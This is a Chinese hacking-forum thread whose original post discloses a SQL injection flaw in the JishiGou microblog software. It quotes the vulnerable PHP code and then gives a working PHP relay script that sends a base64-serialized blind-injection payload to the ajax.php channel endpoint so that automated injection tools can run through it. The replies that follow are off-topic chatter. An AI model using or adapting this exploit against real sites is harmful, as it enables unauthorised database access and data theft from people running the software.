查看: 1660|回复: 25

记事狗微薄最新注入漏洞

[复制链接]
发表于 2012-11-8 03:57:50 | 显示全部楼层 |阅读模式
/modules/ajax/topic.mod.php

function Pic_ajax()        

{//echo 11;        //echo base64_encode(serialize(array('a'=>'0\'#')));                $options = array();                $TopicListLogic = Load::logic('topic_list', 1);                $per_page_num = $this->Post['pp_num'] ? (int)$this->Post['pp_num'] : 20;                $cache_time = $this->Post['c_time'] ? (int)$this->Post['c_time'] : 10;                $uid = $this->Post['uid'] ? $this->Post['uid'] : '';                if($this->Code =='channel'){                        $id = $this->Post['id'] ? $this->Post['id'] : ''; //获取                        $options = array(                                'item'=>'channel',                                'item_id' => unserialize(base64_decode($id)),//解码,应为Base64所以无视Gpc。。                                'perpage' => $per_page_num,                        );                        $info = $TopicListLogic->get_data($options);//查询函数 里面也没做任何过滤 get_data($param, $caller = "web").....                                $item_ids = $this->_process_param($param['item_id']);//这里 赋值                $item = trim($param['item']);.....$where_sql = ($perm_sql ? " AND {$perm_sql} " : '').                (isset($param['tid']) ? ' AND `tid` IN ('.jimplode($tids).') ' : '').                ($roottids ? ' AND roottid IN ('.jimplode($roottids).') ' : '').                ($from ? " AND `from`='{$from}' " : '').                                ($item_ids ? " AND `item_id` IN (".jimplode($item_ids).") " : '').//写入语句                ($item ? " AND `item`='{$item}' " : '').                                ($content ? " AND `content`='{$content}' " : '').                ($content2 ? " AND `content2`='{$content2}' " : '').                ($filter_sql ? ' and '.$filter_sql : '');

test



可能注入起来比较麻烦
应为没有回显 只能盲注,
所以我写了个中转程序 丢工具跑
<?php$data=base64_encode(serialize(array('a'=>'0\') and 1='.$_GET[id].'#'))); $flag = 0; $post = ''; $errno = ''; $errstr = ''; $host='127.0.0.1'; $path='/jsg';$argv = array(    'id'=>$data,);foreach ($argv as $key=>$value) {    if ($flag!=0) {        $post .= "&";        $flag = 1;    }    $post.= $key."="; $post.= urlencode($value);    $flag = 1;    }    $length = strlen($post);     //创建socket连接   $fp = fsockopen("$host",80,$errno,$errstr,10) or exit($errstr."--->".$errno);    //构造post请求的头    $header  = "POST {$path}/ajax.php?mod=topic&code=channel HTTP/1.1\r\n";    $header .= "Host: {$host}\r\n";    $header .= "Referer: /flandy/post.php\r\n";    $header .= "Content-Type: application/x-www-form-urlencoded\r\n";    $header .= "Content-Length: ".$length."\r\n";    $header .= "Connection: Close\r\n\r\n";    //添加post的字符串    $header .= $post."\r\n";        //发送post的数据   fputs($fp,$header);    $inheader = 1;    while (!feof($fp)) {        $line = fgets($fp,1024); //去除请求包的头只显示页面的返回数据        if ($inheader && ($line == "\n" || $line == "\r\n")) {             $inheader = 0;        }        if ($inheader == 0) {          echo $line;        }    }fclose($fp);?>
跑起来的速度还凑合

发表于 2012-11-9 21:59:18 | 显示全部楼层
勤奋真能造就财富吗?  
发表于 2012-11-11 23:40:01 | 显示全部楼层
(*^__^*) 嘻嘻……  
发表于 2012-11-17 04:07:45 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
发表于 2012-11-19 15:59:51 | 显示全部楼层
真是汗啊  我的家财好少啊  加油  
发表于 2014-11-17 00:52:47 | 显示全部楼层
佩服佩服啊.  
发表于 2014-12-4 13:08:09 | 显示全部楼层
很好!很强大!  
发表于 2014-12-27 12:55:42 | 显示全部楼层
没有医保和寿险的,天黑后请不要见义勇为……  
发表于 2015-1-27 13:59:39 | 显示全部楼层
我起来了 哈哈 刚才迷了会  
发表于 2015-3-1 11:12:48 | 显示全部楼层
对不起,我走错地方了,呵呵  
高级模式
B Color Image Link Quote Code Smilies

本版积分规则